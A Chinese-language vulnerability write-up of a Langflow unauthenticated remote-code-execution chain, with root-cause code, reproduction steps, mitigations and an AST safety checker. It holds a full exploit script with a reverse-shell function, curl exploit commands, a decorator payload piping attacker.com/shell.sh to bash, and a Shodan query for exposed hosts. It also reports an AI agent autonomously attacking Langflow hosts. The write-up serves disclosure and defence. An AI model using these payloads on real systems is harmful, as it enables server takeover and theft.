CVE-2026-9198 深度复盘:IBM Langflow AI 平台零认证 RCE 攻击链全拆解
漏洞概览
2026 年 8 月 4 日,CISA 将 CVE-2026-9198 加入已知被利用漏洞(KEV)目录。这个 CVSS 9.8 的零认证远程代码执行漏洞影响 IBM Langflow OSS 1.0.0 至 1.10.0 版本,攻击者无需任何凭据即可通过两个 API 端点的链式调用在目标服务器上执行任意 Python 代码。
Langflow 是 IBM 在 2024 年收购的低代码 AI Agent 可视化编排平台,被大量团队用于拖拽式构建 LLM 工作流。这意味着该漏洞直接威胁 AI 基础设施层——不是模型本身的幻觉或注入,而是承载 Agent 运行的应用服务器。
┌─────────────────────────────────────────────────────┐
│ CVE-2026-9198 攻击链 │
│ │
│ 攻击者 │
│ │ │
│ ▼ │
│ Step 1: POST /api/v1/auto_login │
│ │ ← 无需任何凭据 │
│ ▼ │
│ 获得 SUPERUSER Bearer Token(长期有效) │
│ │ │
│ ▼ │
│ Step 2: POST /api/v1/validate/code │
│ │ Authorization: Bearer <SUPERUSER_TOKEN> │
│ │ Body: {"code": "import os; os.system('id')"} │
│ ▼ │
│ Python exec() 执行任意代码 │
│ │ │
│ ▼ │
│ 完全控制 Langflow 服务器进程 │
└─────────────────────────────────────────────────────┘漏洞技术细节
根因分析:两个缺陷的致命组合
CVE-2026-9198 不是单一漏洞,而是两个独立设计缺陷的链式利用。
缺陷一:/api/v1/auto_login 认证绕过
Langflow OSS 默认启用 AUTO_LOGIN=True。在这个配置下,/api/v1/auto_login 端点会向任何未认证的网络调用者发放 SUPERUSER 级别的 Bearer Token,且不进行任何凭据检查。
# Langflow OSS 源码中 auto_login 端点的核心逻辑(简化)
@app.post("/api/v1/auto_login")
async def auto_login():
# AUTO_LOGIN 默认为 True
# 任何网络调用者都能获得超级用户令牌
token = create_super_user_token() # 长期有效
return {"access_token": token}关键问题:
AUTO_LOGIN在默认配置中为True(开箱即用)- Token 权限为
SUPERUSER,拥有所有操作的完整权限 - Token 有效期较长,不存在自动过期机制
- 无 IP 白名单、无速率限制、无审计日志
缺陷二:/api/v1/validate/code 代码注入
/api/v1/validate/code 端点接收用户提交的 Python 代码,并直接通过 exec() 执行,没有任何沙箱隔离、输入限制或资源限制。
# Langflow OSS 源码中 validate/code 端点的核心逻辑(简化)
@app.post("/api/v1/validate/code")
async def validate_code(
request: Request,
code: str = Body(..., embed=True),
token: str = Depends(get_current_user), # 只需有效 token
):
# 直接 exec() 执行用户代码
# 无沙箱、无 AST 检查、无资源限制
exec(code) # ← CWE-94: Improper Control of Generation of Code
return {"status": "valid"}exec() 的危险在于它执行的是完整的 Python 语句,包括 import、os.system()、subprocess.Popen() 等可触发系统级操作的调用。更严重的是,装饰器和默认参数表达式在函数定义时就会执行,即使后续不调用该函数。
MITRE ATT&CK 映射
| 战术 | 技术 | 说明 |
|---|---|---|
| Initial Access | T1190 Exploit Public-Facing Application | 利用暴露的 Langflow API |
| Execution | T1059.006 Python Execution | 通过 exec() 执行 Python 代码 |
| Privilege Escalation | — | Token 直接为 SUPERUSER,无需提权 |
| Persistence | — | 长期有效 Token + 写入计划任务 |
攻击链复现
环境准备
# 安装受影响版本
pip install langflow==1.10.0
# 启动 Langflow(默认配置,AUTO_LOGIN=True)
langflow run --host 0.0.0.0 --port 7860Step 1:获取 SUPERUSER Token
# 无需任何凭据,直接请求 auto_login
curl -X POST http://target:7860/api/v1/auto_login
# 响应:
# {"access_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
# "token_type":"bearer"}Step 2:利用 validate/code 执行任意代码
# 使用获得的 Token 执行系统命令
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
curl -X POST http://target:7860/api/v1/validate/code \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"code": "import os; print(os.popen(\"id\").read())"}'
# 响应包含命令执行结果:
# uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)完整 PoC 脚本
"""
CVE-2026-9198 PoC - IBM Langflow OSS Unauthenticated RCE
影响版本: 1.0.0 - 1.10.0
修复版本: 1.10.1
仅用于授权安全测试。
"""
import requests
import sys
import json
def exploit(target_url: str, command: str) -> str:
"""
执行 CVE-2026-9198 攻击链:
1. 通过 auto_login 获取 SUPERUSER Token
2. 通过 validate/code 执行任意命令
"""
session = requests.Session()
session.headers.update({"User-Agent": "CVE-2026-9198-PoC/1.0"})
# Step 1: 获取 SUPERUSER Token
print(f"[*] 目标: {target_url}")
print("[*] Step 1: 请求 /api/v1/auto_login ...")
resp = session.post(
f"{target_url}/api/v1/auto_login",
timeout=10
)
if resp.status_code != 200:
print(f"[-] auto_login 失败: HTTP {resp.status_code}")
sys.exit(1)
token = resp.json().get("access_token")
if not token:
print("[-] 响应中未找到 access_token")
sys.exit(1)
print(f"[+] 获得 SUPERUSER Token: {token[:50]}...")
# Step 2: 执行任意代码
print(f"[*] Step 2: 通过 /api/v1/validate/code 执行命令: {command}")
payload = {
"code": f"import os; print(os.popen('{command}').read())"
}
resp = session.post(
f"{target_url}/api/v1/validate/code",
headers={
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
},
json=payload,
timeout=30
)
if resp.status_code == 200:
result = resp.json()
print(f"[+] 执行成功:")
print(result)
return result
else:
print(f"[-] 执行失败: HTTP {resp.status_code}")
print(resp.text)
sys.exit(1)
def reverse_shell(target_url: str, lhost: str, lport: int):
"""通过 CVE-2026-9198 建立反弹 Shell"""
shell_code = f"""
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{lhost}", {lport}))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
"""
exploit(target_url, f"exec('''{shell_code}''')")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: python {sys.argv[0]} <target_url> <command>")
print(f"示例: python {sys.argv[0]} http://localhost:7860 id")
sys.exit(0)
target = sys.argv[1]
cmd = sys.argv[2]
exploit(target, cmd)隐蔽利用:装饰器注入
exec() 在执行函数定义时会先执行装饰器和默认参数表达式。攻击者可以利用这一点在看似无害的函数定义中隐藏恶意代码:
# 看似定义一个普通函数,实际上 __import__ 在定义时就会执行
@__import__('os').system('curl http://attacker.com/shell.sh | bash')
def innocent_function():
pass
# 默认参数表达式也会在定义时执行
def another_function(cmd=__import__('os').popen('whoami').read()):
return cmd这种技术可以绕过基于函数体分析的简单检测规则。
暴露面分析
互联网暴露的 Langflow 实例
Langflow 默认监听 0.0.0.0:7860,且文档中常见的部署方式是直接暴露端口。通过 Shodan/Censys 搜索可发现大量暴露在互联网的 Langflow 实例。
# Shodan 搜索语法
shodan search "http.html:\"langflow\"" --fields ip_str,port历史攻击记录
- 2026 年 6 月:攻击者劫持面向互联网的 Langflow 实例挖掘加密货币
- 2026 年 7 月:研究人员记录了一个 AI Agent 自主对 Langflow 主机发起勒索软件攻击的案例
- 2026 年 8 月 4 日:CISA 将 CVE-2026-9198 加入 KEV 目录,确认在野利用
修复方案
官方修复
IBM 发布了 Langflow OSS 1.10.1 修复此漏洞,无可用缓解措施,唯一支持的方式是升级。
pip install --upgrade langflow==1.10.1临时缓解(无法立即升级时)
如果无法立即升级,唯一有效的缓解措施是在网络层面完全阻断未认证访问:
# Nginx 反向代理:强制认证
location /api/v1/auto_login {
# 完全禁止外部访问
deny all;
return 403;
}
location /api/v1/validate/code {
# 需要额外的认证层
auth_request /auth-check;
proxy_pass http://langflow_backend;
} # 使用额外的反向代理认证中间件
from fastapi import Request, HTTPException
from fastapi.security import APIKeyHeader
api_key_header = APIKeyHeader(name="X-Internal-API-Key")
async def verify_internal_access(api_key: str = Depends(api_key_header)):
if api_key != os.environ.get("INTERNAL_API_KEY"):
raise HTTPException(status_code=403, detail="Access denied")
return api_key
# 在 Langflow 前面加一层网关
@app.middleware("http")
async def security_middleware(request: Request, call_next):
# 阻断 auto_login 外部访问
if request.url.path == "/api/v1/auto_login":
client_ip = request.client.host
if client_ip != "127.0.0.1":
raise HTTPException(status_code=403, detail="Forbidden")
response = await call_next(request)
return response深度防御建议
- 禁用 AUTO_LOGIN:生产环境必须设置
AUTO_LOGIN=False - 网络隔离:Langflow 不应直接暴露在互联网
- 代码执行沙箱:
validate/code应使用容器化沙箱执行用户代码 - AST 检查:在
exec()前检查代码中是否包含危险模块导入
import ast
class CodeSafetyChecker(ast.NodeVisitor):
DANGEROUS_MODULES = {"os", "subprocess", "sys", "socket", "shutil"}
DANGEROUS_CALLS = {"exec", "eval", "compile", "__import__"}
def __init__(self):
self.violations = []
def visit_Import(self, node):
for alias in node.names:
if alias.name.split('.')[0] in self.DANGEROUS_MODULES:
self.violations.append(f"禁止导入模块: {alias.name}")
self.generic_visit(node)
def visit_Call(self, node):
if isinstance(node.func, ast.Name):
if node.func.id in self.DANGEROUS_CALLS:
self.violations.append(f"禁止调用: {node.func.id}")
self.generic_visit(node)
def check_code_safety(code: str) -> list[str]:
tree = ast.parse(code)
checker = CodeSafetyChecker()
checker.visit(tree)
return checker.violations
# 使用示例
violations = check_code_safety("import os; os.system('id')")
if violations:
raise SecurityError(f"代码包含危险操作: {violations}")CVE-2026-9198 对 AI 基础设施安全的启示
AI 平台的信任边界问题
Langflow 这类 AI Agent 编排平台的核心价值是"让用户可视化编排 LLM 工作流"。但"编排 LLM"和"执行任意代码"之间只有一步之遥——validate/code 端点本质上是一个远程代码执行服务,只是披了"代码验证"的外衣。
这不是 Langflow 独有的问题。整个 AI Agent 生态都面临同一困境:
| AI 平台能力 | 安全风险 |
|---|---|
| 代码执行工具 | RCE |
| 文件系统访问 | 数据泄露 |
| 数据库连接 | SQL 注入 |
| API 调用 | SSRF |
| Shell 命令 | 命令注入 |
MCP 时代的 Agent 身份治理
CVE-2026-9198 暴露的核心问题是:Agent 平台使用为人类设计的访问模型。AUTO_LOGIN 发放的 SUPERUSER Token 是一种"静态、宽泛"的凭据,完全不适合自主执行场景。
2026 年 Black Hat 大会上 Rubrik 发布的 Agent Identity 提出了正确的方向:
- 每次工具调用单独授权(JIT Token)
- 读写分离(读操作默认放行,写操作需显式策略)
- 行为分析(语义评估请求意图)
- Agent Rewind(撤销错误操作)
企业采购清单
如果你的组织正在评估或已经部署 Langflow(或类似 AI Agent 平台),以下检查项应在部署前完成:
时间线
| 时间 | 事件 |
|---|---|
| 2026-07-17 | CVE-2026-9198 在 NVD 发布 |
| 2026-07-17 | IBM 发布安全公告(7278927),修复版本 1.10.1 |
| 2026-06 | 攻击者利用暴露的 Langflow 实例挖矿(IntelFusions 报告) |
| 2026-07 | AI Agent 自主对 Langflow 发起勒索攻击(研究报告) |
| 2026-08-04 | CISA 将 CVE-2026-9198 加入 KEV 目录 |
| 2026-08-04 | BOD 26-04 联邦机构需在限期内修复 |
总结
CVE-2026-9198 是一个教科书级的 AI 基础设施安全案例。它不是复杂的内存破坏漏洞,而是一个简单的"认证绕过 + 代码注入"组合——但正是这种简单性让它极其危险。任何使用默认配置暴露在互联网的 Langflow 实例都可能已被攻陷。
对 AI Agent 生态而言,这个漏洞传递的信号是:为人类设计的权限模型不能直接用于自主执行的 AI Agent。Agent 平台需要 per-tool-call 的细粒度授权、行为级别的语义分析、以及失败时的回滚能力。Langflow 的 exec() 无沙箱设计是一个警示,整个 AI Agent 工具链都应重新审视"代码执行"能力的暴露面。

